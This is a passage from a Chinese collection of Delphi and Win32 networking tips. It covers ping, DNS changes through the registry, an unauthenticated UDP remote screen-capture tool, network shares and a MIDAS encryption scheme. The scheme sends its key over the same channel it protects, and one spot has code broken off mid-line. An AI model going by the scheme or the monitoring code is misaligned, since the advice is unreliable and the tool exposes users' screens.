Length(MyString),  @IPOpt, pIPE, BufferSize, FTimeOut);
if pReqData^ = pIPE^.Options.OptionsData^ then

begin
StatusShow.Lines.Add(PChar(PingEdit.Text) + ' '
+IntToStr(pIPE^.DataSize) + ' ' +IntToStr(pIPE^.RTT));
end;
FreeMem(pRevData);
FreeMem(pIPE);
end
end;
通过上面的编程，我们就实现了Ping功能的界面操作。实际上，ICMP协议的功能还
有很多，都可以通过对Icmp.dll的函数调用来实现。


获取子网掩码

 当前机器的设置可以从注册表
HKEY_LOCAL_MACHINE\System\CurrentControlSet\
Services\Class\NetTrans\中得到。
搜索从0001到000a,如果
DriverDesc =TCP/IP,则IPMask就是当前掩码


编写网络程序的安全措施

深圳电信网管维护局
赵福云
[请作者提供详细的邮政地址]
---- Delphi的MIDAS控件为编写网络程序提供了十分方便的手段。利用这些控件，可以编写局域网上的客户机／服务器体系程序，也能方便地在Internet上创建分散处理的应用。

---- 网络程序的一个重要问题是安全性考虑。一些敏感数据在网上传送，很有可能被人非法拦截以造成不必要的损失。在实际的编程过程中，我采取了一些有效的防范措施，在此作些简单的介绍。

---- 一、 原理

---- 目前进行数据加密的方法很多，对数据的保护起到一定的作用。但如果采用固定的密钥或是密钥随数据一起传送，则均不能达到令人满意的保密效果。在实践过程中，我摸索出了一套“请求－应答”模式的随机密钥方法，对密码和数据的保密效果都令人十分满意。

---- 当客户端程序启动并企图与服务器程序建立连接时，客户程序从服务器端取得一个由服务器程序产生的随机字串，系统将以此字串为密钥来传送用户登录密码和数据。由于密钥由服务器程序随机产生，客户每次登录时密钥均不相同，因此大大减少了密码被拦截导致数据被窃的可能性。

---- 服务器端可以在远程数据模块中引出一个自定义接口，该接口返回一个随机字串。远程数据模块要记录该字串作为后续处理的密钥。随机字串的产生法可以多种多样，最简单的方法是用Random()函数产生一个随机数后再由此数用Format()函数或IntToStr()产生一个字符串。

---- 二、 用户登录措施

---- 为了防止程序被非法调试从而泄露密码，必须将客户的登录信息在服务器端处理，也可以专门增加一个安全层负责客户的登录。客户的登录信息储存在客户资料表中，包括用户名、密码、权限等信息。

---- 客户程序登录时，先调用服务器程序的接口获得密钥字串，并用此密钥对用户输入的用户名和密码进行加密并向服务器发送登录信息。加密算法可以是DES算法或其它有效算法。服务器接到登录信息后，先用先前产生并记录的随机密钥对登录信息进行解密，再将解密后的信息与存储的客户资料表中的信息进行对照，从而判断客户信息是否合法以及该客户享有的数据权限等。

---- 该过程的客户端程序如下：

strKey:=myRemoteSever.GetKey();
{调用服务器的接口获得随机密钥}
UserName:=Ency(strUserName,strKey);
{对用户名加密，Ency()为加密算法}
Password:=Ency(strPassword,strKey);
{对登录密码进行加密}
If myRemoteServer.LogIn(UserName,Password) then
{登录}
Begin
{进行处理}
End;
服务器端的登录过程LogIn()如下：
strUserName:=DeEncy(UserName,strKey);
{对用户名解密，DeEncy()为解密算法}
strPassword:=DeEncy(Password,strKey);

  {对登录密码解密}
{查询数据库}
if (Pass) then
Result:=true
Else
Result:=false;
----
要注意的是，在服务器程序和客户程序中，StrKey均应定义为全程变量。

---- 为了防止客户资料表被程序外打开从而泄露密码，可以对客户资料进行一定的加密措施，例如PARADOX表可以添加Password，服务器程序在访问客户资料表时先提供该Password。

---- 三、 数据传送

---- 在网络程序中，一些敏感数据在网上传送时必须加密。Delphi的MIDAS机制提供了数据加密的途径，可以在数据传往客户端之前对一些字段进行加密，也可以在接收到客户端的更新数据请求后对来自客户端的数据的相应字段进行解密后才向数据库进行更新。为了达到些目的，可以在服务器程序的远程数据模块中加入一个Tprovider或是TdataSetProvider对象，并将此对象的DataSet属性置为要处理的数据集。在Tprovider的OnGetData事件中加入如下代码：

with DataSet do
begin
while not EOF do
begin
Edit;
SensitiveData.AsString :=
Ency(SensitiveData.AsString,strKey);
{对敏感数据加密}
Post;
Next;
end;
end;
---- 以上代码可以将敏感数据加密后再送往客户程序。

---- 同样，在Tprovider的OnUpdateData事件中加入一些处理代码便可对客户端送来的数据进行解密。

---- 以上只是介绍了网络程序安全措施实现的一般原理，在此基础上，可以增加其它保密措施，以达到更好的保密效果。例如，客户程序可以用特定的辅助硬件设备来增加安全性。在智能卡应用程序中，客户程序在登录时不仅要求用户输入用户名和密码，程序同时检查IC读写器中IC卡的类型及特定的内容，这样，既使密码泄露了不会被人冒名登录。当然，任何安全措施都不是绝对安全的，安全措施还要有严格的保密制度及使用人员的高度的保密意识才能真正起到保密作用。


动态改变/添加网络设置中的TCP/IP的DNS地址

例如，把 DNS Server的地址添加为192.0.0.1和192.1.1.0，可调用：
SetTCPIPDNSAddresses('192.0.0.1 192.1.1.0') ;
// 各地址之间用一个空格隔开

1. SetTCPIPDNSAddresses 定义如下：

procedure SetTCPIPDNSAddresses( sIPs : string );
begin
//
// if using Windows NT
//
SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\Tcpip\Parameters',
'NameServer',
sIPs );

//
// if using Windows 95
//
SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\VxD\MSTCP',
'NameServer',
sIPs );
end;

2. 其中 SaveStringToRegistry_LOCAL_MACHINE 定义：
uses Registry;

procedure SaveStringToRegistry_LOCAL_MACHINE(
sKey, sItem, sVal : string
);
var
reg : TRegIniFile;
begin
reg := TRegIniFile.Create( ''
);
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString( sKey, sItem, sVal +
#0 );
reg.Free;
end;


远程屏幕抓取

用Delphi实现远程屏幕抓取

山东巨力股份有限公司CAD中心 檀革勤

    在网络管理中，有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然，市面上有很多软件可以实现该功能，有些甚至可以进行远程控制，但在使用上缺乏灵活性，如无法指定远程计算机屏幕区域的大小和位置，进而无法在一屏上同时监视多个屏幕。其实，可以用Delphi自行编制一个灵活的远程屏幕抓取工具，简述如下。

    一、软硬件要求

    Windows95/98对等网，用来监视的计算机（以下简称主控机）和被监视的计算机（以下简称受控机）都必须装有TCP/IP 协议，并正确配置。如没有网络，也可以在一台计算机上进行调试。

    二、实现方法

    编制两个应用程序，一个为VClient.exe，装在受控机上，另一个为VServer.exe，装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe，VClient.exe得到指令后，在受控机屏幕上选取指定区域，生成数据流，将其发回主控机，并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出，该方法的关键有二：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输数据。
    UDP(User Datagram Protocol，意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同，它是一种非连接的传输协议，没有确认机制，可靠性不如TCP，但它的效率却比TCP高，用于远程屏幕监视还是比较适合的。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程上较为简单，故选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。

    三、创建演示程序

    第一步，编制VClient.exe文件。新建Delphi工程，将默认窗体的Name属性设为“Client”。加入TNMUDP控件，Name属性设为“CUDP”；LocalPort属性设为“1111”，让控件CUDP监视受控机的1111端口，当有数据发送到该口时，触发控件CUDP的OnDataReceived事件；RemotePort属性设为“2222”，当控件CUDP发送数据时，将数据发到主控机的2222口。
    在implementation后面加入变量定义

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }

为Client的OnCreate事件添加代码：
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

为控件CUDP的OnDataReceived事件添加代码：
procedure TClient.CUDPDataReceived(Sender:
TComponent;
NumberBytes: Integer; FromIP:
String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of
char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{
读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show'
then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then {
没有数据可发，必须截屏生成数据
}
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos);
{
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else
SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if
LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; {
FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口
}
end;
end;

其中ScreenCap是自定义函数，截取屏幕指定区域，
代码如下：
procedure
TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”，
并编译。

    第二步，编制VServer.exe文件。新建Delphi工程，将窗体的Name属性设为“Server”。加入TNMUDP控件，Name属性设为“SUDP”；LocalPort属性设为“2222”，让控件SUDP监视主控机的2222端口，当有数据发送到该口时，触发控件SUDP的OnDataReceived事件；RemotePort属性设为“1111”，当控件SUDP发送数据时，将数据发到受控机的1111口。加入控件Image1，Align属性设为“alClient”；加入控件Button1，Caption属性设为“截屏”；加入控件Label1，Caption属性设为“左：上：右：下”；加入控件Edit1，Text属性设为“0:0:100:100”；加入控件Label2，Caption属性设为“受控机IP地址”；加入控件Edit2，Text属性设为“127.0.0.1”；
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

为Server的OnCreate事件添加代码：
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

为控件Button1的OnClick事件添加代码：
procedure TServer.Button1Click(Sender:
TObject);
var ReqCode:array[0..29] of
char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

为控件SUDP的OnDataReceived事件添加代码：
procedure TServer.SUDPDataReceived(Sender:
TComponent;
NumberBytes: Integer; FromIP: String);
var
ReqCode:array[0..29] of
char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if
NumberBytes< BufSize then { 数据已读完
}
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”，并编译。

    四、测试。
    1、本地机测试：在本地机同时运行Vserver.exe和VClient.exe，利用程序的默认设置，即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”，将程序的“客户IP地址”设为该地址 ，同样正常运行。
    2、远程测试：选一台受控机，运行VClient.exe；另选一台主控机，运行VServer.exe，将“受控机IP地址”即Edit2的内容设为受控机的IP地址，“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法，至于在主控机上一屏同时监视多个受控机，读者可自行完善。以上程序，在Windows98对等网、Delphi 4.0下调试通过。

关闭窗体


映射网络驱动器

用此方法让你可以映射网络驱动器和断开映射网络驱动器，用本机来试通不过，如果你在网络上也通不过，请告知建立映射网络驱动器
procedure TForm1.Button1Click(Sender: Tobject);

var NetR :NETRESOURCE;ErrInfo : Longint;

begin

NetR.dwScope := RESOURCE_GLOBALNET;

NetR.dwType := RESOURCETYPE_DISK;

NetR.dwDisplayType := RESOURCEDISPLAYTYPE_SHARE;

NetR.dwUsage := RESOURCEUSAGE_CONNECTABLE;

NetR.lpLocalName := 'j:';

NetR.lpRemoteName := '\\Lifang\c';

ErrInfo := WNetAddConnection2(NetR, '', '', CONNECT_UPDATE_PROFILE);

If ErrInfo = NO_ERROR Then

messagebox(0,'Net connection successful!','',0)

Else

messagebox(0,'ERROR: ','',0);

end;

断开映射网络驱动器
procedure TForm1.Button2Click(Sender: Tobject);

var ErrInfo : Longint;

strLocalName : pchar;

begin

strLocalName:='j:';

ErrInfo := WNetCancelConnection2(strLocalName, CONNECT_UPDATE_PROFILE, False);

If ErrInfo = NO_ERROR Then

messagebox(0,'Net disconnection successful!','',0)

Else

messagebox(0,'ERROR','',0);

end;


判断机器是否连网

 procedure TForm1.Button1Click(Sender: TObject);
begin
if GetSystemMetrics(SM_NETWORK) AND $01 = $01 then
ShowMessage('Machine is attached to network') else
ShowMessage('Machine is not attached to network');
end;


检测计算机的 Internet 连接状态

作者： 940801

检测计算机是否联网比较简单的做法可以通过一个 Win32 Internet(WinInet) 函数 InternetCheckConnection来实现；

这个函数的功能是检查是否能够建立 Internet 连接。

它的实现是在 %SystemRoot%\System32\wininet.dll 中，Delphi 调用声明在 WinInet.pas 中，

其 API 声明如下：

BOOL InternetCheckConnection(

IN LPCSTR lpszUrl,

IN DWORD dwFlags,

IN DWORD dwReserved

);

参数的意义是：

lpszUrl： 需要测试能否建立连接的 URL 地址，可以为空；

dwFlags： 目前只能是 FLAG_ICC_FORCE_CONNECTION（这个常量 Delphi 中没有声明，其值为 $00000001）；

dwReserved： 目前只能为 0。

调用的说明：

如果 lpszUrl 是非空的，Windows 从中解析出 Host 名然后 Ping 这个指定的 Host。

如果 lpszUrl 是空的，并且 WinInet 内部服务器的 database 中有一个关于最近的 Server 的纪录，Windows 就从这条纪录中解析出 Host 名然后 Ping 它。

如果能够成功的连接返回 True，否则返回 False；

以下是一个判断当前计算机是否联网的例子：

procedure TForm1.Button1Click(Sender: TObject);

begin

if InternetCheckConnection('http://www.yahoo.com/', 1, 0) then

edit1.text:= 'Connected'

else

edit1.text:= 'Disconnected';

end;

通过上述的方法只能检测出当前计算机是否物理联网，即网线是否接好，网卡是否能顺利工作，不能确定是否能够实现获得 Internet 服务，即是否能和 ISP 进行 Internet 连接。

这时可以通过另一个 Win32 Internet(WinInet) 函数 InternetQueryOption 来检测；

这个函数的功能是查询指定 Internet 句柄的状态、选项。

其 API 声明如下：

BOOL InternetQueryOption(

IN HINTERNET hInternet,

IN DWORD dwOption,

OUT LPVOID lpBuffer,

IN OUT LPDWORD lpdwBufferLength

);

参数的意义是：

hInternet：查询对象的 Internet 句柄（全局查询时为 nil），

dwOption：查询的项目；

lpBuffer：返回的查询结果；

lpdwBufferLength：查询结果的字节长度（包括 IN 和 OUT）；

查询成功返回 True，否则返回 False;

我们要查询当前计算机的 Internet 连接状态时可以使用查询项目 INTERNET_OPTION_CONNECTED_STATE，

得到的 ConnectState 返回值可能是以下值的一个或几个值之和：

INTERNET_STATE_CONNECTED ：$00000001 连接状态；

INTERNET_STATE_DISCONNECTED ：$00000002 非连接状态（和 INTERNET_STATE_CONNECTED 对应）；

INTERNET_STATE_DISCONNECTED_BY_USER ：$00000010 用户请求的非连接状态

INTERNET_STATE_IDLE ：$00000100 连接状态，并且空闲

INTERNET_STATE_BUSY ：$00000200 连接状态，正在响应连接请求

以下是一个判断当前计算机是否可以获得 Internet 服务的例子：

function TForm1.CheckOffline: boolean;

var

ConnectState: DWORD;

StateSize: DWORD;

begin

ConnectState:= 0;

StateSize:= SizeOf(ConnectState);

result:= false;

if InternetQueryOption(nil, INTERNET_OPTION_CONNECTED_STATE, @ConnectState, StateSize) then

if (ConnectState and INTERNET_STATE_DISCONNECTED) <> 2 then result:= true;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if CheckOffline then

edit1.text:= 'Connect To ISP'

else

edit1.text:= 'Disconnect To ISP';

end;

需要说明的是 InternetQueryOption 函数的检测结果只能表明当前的 Internet 设置是可用的，

并不能表示计算机一定能访问 Internet，例如网线掉了，网卡突然坏了之类的错误就没法检测出来，

要想检测当前计算机是否能够获得 Internet 服务了必须两个函数结合起来使用。

以上程序在 Win2000, Delphi5.0 下调试通过。

最后要提醒大家注意的是在 uses 中要加上 WinInet。

对于 Windows 2000 中网络掉线的实时检测，猜想是和底层的中断或者某个 Service 有关，

但因为本人才疏学浅，一直没能搞懂该怎样做，还请知情的大侠不吝赐教，先在此谢谢您了。

作者：940801 ，Mail：l940801@yahoo.com


添加共享

 #include
#include
#include

#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13

//
// Note: UNICODE entry point and argv. This way, we don't need to bother
// with converting commandline args to Unicode
//

int
__cdecl
wmain(
int argc,
wchar_t *argv[]
)
{
LPWSTR DirectoryToShare;
LPWSTR Sharename;
LPWSTR Username;
LPWSTR Server;

PSID pSid = NULL;
DWORD cbSid;

WCHAR RefDomain[DNLEN + 1];
DWORD cchDomain = DNLEN + 1;
SID_NAME_USE peUse;

SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;

SHARE_INFO_502 si502;
NET_API_STATUS nas;

BOOL bSuccess = FALSE; // assume this function fails

if(argc < 4) {
printf("Usage: %ls [\\\\Server]\n", argv[0]);
printf(" directory is fullpath of directory to share\n");
printf(" sharename is name of share on server\n");
printf(" user/group is an WinNT user/groupname (REDMOND\\sfield, Administrators, etc)\n");
printf(" optional Server is the name of the computer to create the share on\n");
printf("\nExample: %ls c:\\public public Everyone\n", argv[0]);
printf("c:\\public shared as public granting Everyone full access\n");
printf("\nExample: %ls c:\\private cool$ REDMOND\\sfield \\\\WINBASE\n", argv[0]);
printf("c:\\private on \\\\WINBASE shared as cool$ (hidden) granting REDMOND\\sfield access\n");

return RTN_USAGE;
}

//
// since the commandline was Unicode, just provide pointers to
// the relevant items
//

DirectoryToShare = argv[1];
Sharename = argv[2];
Username = argv[3];

if( argc > 4 ) {
Server = argv[4];
} else {
Server = NULL; // local machine
}

//
// initial allocation attempt for Sid
//
#define SID_SIZE 96
cbSid = SID_SIZE;

pSid = (PSID)HeapAlloc(GetProcessHeap(), 0, cbSid);
if(pSid == NULL) {
printf("HeapAlloc error!\n");
return RTN_ERROR;
}

//
// get the Sid associated with the supplied user/group name
// force Unicode API since we always pass Unicode string
//

if(!LookupAccountNameW(
NULL, // default lookup logic
Username, // user/group of interest from commandline
pSid, // Sid buffer
&cbSid, // size of Sid
RefDomain, // Domain account found on (unused)
&cchDomain, // size of domain in chars
&peUse
)) {

//
// if the buffer wasn't large enough, try again
//

if(GetLastError() == ERROR_INSUFFICIENT_BUFFER) {

pSid = (PSID)HeapReAlloc(GetProcessHeap(), 0, pSid, cbSid);

if(pSid == NULL) {
printf("HeapReAlloc error!\n");
goto cleanup;
}

cchDomain = DNLEN + 1;

if(!LookupAccountNameW(
NULL, // default lookup logic
Username, // user/group of interest from commandline
pSid, // Sid buffer
&cbSid, // size of Sid
RefDomain, // Domain account found on (unused)
&cchDomain, // size of domain in chars
&peUse
)) {
printf("LookupAccountName error! (rc=%lu)\n", GetLastError());
goto cleanup;
}

} else {
printf("LookupAccountName error! (rc=%lu)\n", GetLastError());
goto cleanup;
}
}

//
// compute size of new acl
//

dwAclSize = sizeof(ACL) +
1 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) +
GetLengthSid(pSid) ;

//
// allocate storage for Acl
//

pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL) goto cleanup;

if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
goto cleanup;

//
// grant GENERIC_ALL (Full Control) access
//

if(!AddAccessAllowedAce(
pDacl,
ACL_REVISION,
GENERIC_ALL,
pSid
)) goto cleanup;

if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
goto cleanup;

if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE)) {
fprintf(stderr, "SetSecurityDescriptorDacl error! (rc=%lu)\n",
GetLastError());
goto cleanup;
}

//
// setup share info structure
//

si502.shi502_netname = (LPTSTR) Sharename;
si502.shi502_type = STYPE_DISKTREE;
si502.shi502_remark = NULL;
si502.shi502_permissions = 0;
si502.shi502_max_uses = SHI_USES_UNLIMITED;
si502.shi502_current_uses = 0;
si502.shi502_path = (LPTSTR) DirectoryToShare;
si502.shi502_passwd = NULL;
si502.shi502_reserved = 0;
si502.shi502_security_descriptor = &sd;

nas = NetShareAdd(
(LPTSTR) Server, // share is on local machine
502, // info-level
(LPBYTE)&si502, // info-buffer
NULL // don't bother with parm
);

if(nas != NO_ERROR) {
printf("NetShareAdd error! (rc=%lu)\n", nas);
goto cleanup;
}

bSuccess = TRUE; // indicate success

cleanup:

//
// free allocated resources
//
if(pDacl != NULL)
HeapFree(GetProcessHeap(), 0, pDacl);

if(pSid != NULL)
HeapFree(GetProcessHeap(), 0, pSid);

if(!bSuccess) {
return RTN_ERROR;
}

return RTN_OK;


得到网络邻居的内容

如果你问如何能得到网络邻居的列表，那是一个非常复杂的任务

您将不得不和非常不友好的OLE对象打交道

下面两个过程可能会对你有用

procedure GetDomainList(TV:TTreeView);
var
a : Integer;
ErrCode : Integer;
NetRes : Array[0..1023] of TNetResource;
EnumHandle : THandle;
EnumEntries : DWord;

     BufferSize  : DWord;
s
   : string;
itm         : TTreeNode;
begin
{ Start here }
try
With NetRes[0] do begin
dwScope       :=RESOURCE_GLOBALNET;
dwType        :=RESOURCETYPE_ANY;
dwDisplayType :=RESOURCEDISPLAYTYPE_DOMAIN;
dwUsage       :=RESOURCEUSAGE_CONTAINER;
lpLocalName   :=NIL;
lpRemoteName  :=NIL;
lpComment     :=NIL;
lpProvider    :=NIL;
end;
{ get net root }
ErrCode:=WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
RESOURCEUSAGE_CONTAINER,
@NetRes[0],

EnumHandle
);
If ErrCode=NO_ERROR then begin
EnumEntries:=1;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(
EnumHandle,
EnumEntries,
@NetRes[0],
BufferSize
);
WNetCloseEnum(EnumHandle);
ErrCode:=WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
RESOURCEUSAGE_CONTAINER,
@NetRes[0],
EnumHandle
);
EnumEntries:=1024;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(
EnumHandle,
EnumEntries,
@NetRes[0],
BufferSize
);
IF ErrCode=No_Error then with TV do try
a:=0;
Items.BeginUpDate;
Items.Clear;

Itm:=Items.Add(TV.Selected,string(NetRes[0].lpProvider));
Itm.ImageIndex:=0;
Itm.SelectedIndex:=0;

{ get domains }
While a How can I get the contents of the Neighborhood?

The following unit defines a component, TNetworkBrowser, which can be used
to enumerate all resources on the network in a hierarchical tree. The
actual browsing takes a long time (try opening "Entire Network" in Windows
Explorer). If you set the Scope property to nsContext, you'll see the list

of machines from the "Network Neighborhood" window.
下面的一个单元定义了一个组件. TNetworkBrowser, 可以枚举hierachical树上所有
的网络资源. 实际上浏览是要花费很长时间的,这您可以通过在WINDOWS资源管理器
中打开"整个网络" 来比较一下. 如果你设置SCOPE属性 为nsContext , 你就可以看到
和网络邻居中一样的机器列表

Yorai Aminov
El-On Software Systems

unit NetBrwsr;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TNetScope = (nsConnected, nsGlobal, nsRemembered, nsContext);

TNetResourceType = (nrAny, nrDisk, nrPrint);
TNetDisplay = (ndDomain, ndGeneric, ndServer, ndShare, ndFile, ndGroup,
ndNetwork, ndRoot, ndShareAdmin, ndDirectory, ndTree, ndNDSContainer);
TNetUsage = set of (nuConnectable, nuContainer);

TNetworkItems = class;

TNetworkItem = class
private
FScope: TNetScope;
FResourceType: TNetResourceType;
FDisplay: TNetDisplay;
FUsage: TNetUsage;
FLocalName: string;
FRemoteName: string;
FComment: string;
FProvider: string;
FSubItems: TNetworkItems;
public
constructor Create;
destructor Destroy; override;
property Scope: TNetScope read FScope;

property ResourceType: TNetResourceType read FResourceType;
property Display: TNetDisplay read FDisplay;
property Usage: TNetUsage read FUsage;
property LocalName: string read FLocalName;
property RemoteName: string read FRemoteName;
property Comment: string read FComment;
property Provider: string read FProvider;
property SubItems: TNetworkItems read FSubItems;
end;

TNetworkItems = class
private
FList: TList;
procedure SetItem(Index: Integer; Value: TNetworkItem);
function GetItem(Index: Integer): TNetworkItem;

       function GetCount: Integer;
public
constructor Create;
destructor Destroy; override;
procedure Clear;
procedure Add(Item: TNetworkItem);
procedure Delete(Index: Integer);
property Items[Index: Integer]: TNetworkItem read
   GetItem write
SetItem; default;
property Count: Integer read GetCount;
end;

TNetworkBrowser = class(TComponent)
private
FItems: TNetworkItems;
FScope: TNetScope;
FResourceType: TNetResourceType;
FUsage: TNetUsage;
FActive: Boolean;
procedure Refresh;
procedure SetActive(Value: Boolean);
procedure SetScope(Value: TNetScope);

       procedure SetResourceType(Value: TNetResourceType);
procedure SetUsage(Value: TNetUsage);
procedure EnumerateNet(NetItems: TNetworkItems;
   lpnr: PNetResource);
protected
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Open;
procedure Close;
property Items: TNetworkItems read FItems;
published
property Scope: TNetScope read FScope write
   SetScope default nsGlobal;
property ResourceType: TNetResourceType read FResourceType
write SetResourceType default nrAny;
property Usage: TNetUsage read FUsage write
   SetUsage default [];

property Active: Boolean read FActive write SetActive default False;
end;

implementation

type
PNetResourceArray = ^TNetResourceArray;
TNetResourceArray = array[0..0] of TNetResource;

{ TNetworkItem }

constructor TNetworkItem.Create;
begin
inherited;
FSubItems := TNetworkItems.Create;
end;

destructor TNetworkItem.Destroy;
begin
if FSubItems <> nil then
FSubItems.Free;
inherited;
end;

{ TNetworkItems }

constructor TNetworkItems.Create;
begin
inherited;
FList := TList.Create;
end;

destructor TNetworkItems.Destroy;

begin
Clear;
if FList <> nil then
FList.Free;
inherited;
end;

   procedure TNetworkItems.SetItem(Index: Integer; Value: TNetworkItem);
begin
if (FList.Items[Index] <> nil) and (FList.Items[Index]
   <> Value) then
TNetworkItem(FList.Items[Index]).Free;
FList.Items[Index] := Value;
end;

function TNetworkItems.GetItem(Index: Integer): TNetworkItem;
begin
Result := TNetworkItem(FList.Items[Index]);
end;

procedure TNetworkItems.Clear;
begin
while Count > 0 do
Delete(0);
end;

procedure TNetworkItems.Add(Item: TNetworkItem);
begin

FList.Add(Item);
end;

procedure TNetworkItems.Delete(Index: Integer);
begin
if FList.Items[Index] <> nil then
TNetworkItem(FList.Items[Index]).Free;
FList.Delete(Index);
end;

function TNetworkItems.GetCount: Integer;
begin
if FList <> nil then
Result := FList.Count
else
Result := 0;
end;

{ TNetworkBrowser }

constructor TNetworkBrowser.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FItems := TNetworkItems.Create;
FScope := nsGlobal;
FResourceType := nrAny;
FUsage := [];
end;

destructor TNetworkBrowser.Destroy;
begin
if FItems <> nil then
FItems.Free;

inherited;
end;

procedure TNetworkBrowser.EnumerateNet(NetItems: TNetworkItems; lpnr:
PNetResource);
var
dwResult, dwResultEnum: Integer;
hEnum: THandle;
cbBuffer, cEntries, i: Integer;
nrArray: PNetResourceArray;
NewItem: TNetworkItem;
dwScope, dwType, dwUsage: Integer;
begin
cbBuffer := 16384;
cEntries := $FFFFFFFF;

case FScope of
nsConnected: dwScope := RESOURCE_CONNECTED;
nsGlobal: dwScope := RESOURCE_GLOBALNET;
nsRemembered: dwScope := RESOURCE_REMEMBERED;

nsContext: dwScope := RESOURCE_CONTEXT;
else
dwScope := RESOURCE_GLOBALNET;
end;
case FResourceType of
nrAny: dwType := RESOURCETYPE_ANY;
nrDisk: dwType := RESOURCETYPE_DISK;
nrPrint: dwType := RESOURCETYPE_PRINT;
else
dwType := RESOURCETYPE_ANY;
end;
dwUsage := 0;
if nuConnectable in FUsage then
dwUsage := dwUsage or RESOURCEUSAGE_CONNECTABLE;
if nuContainer in FUsage then
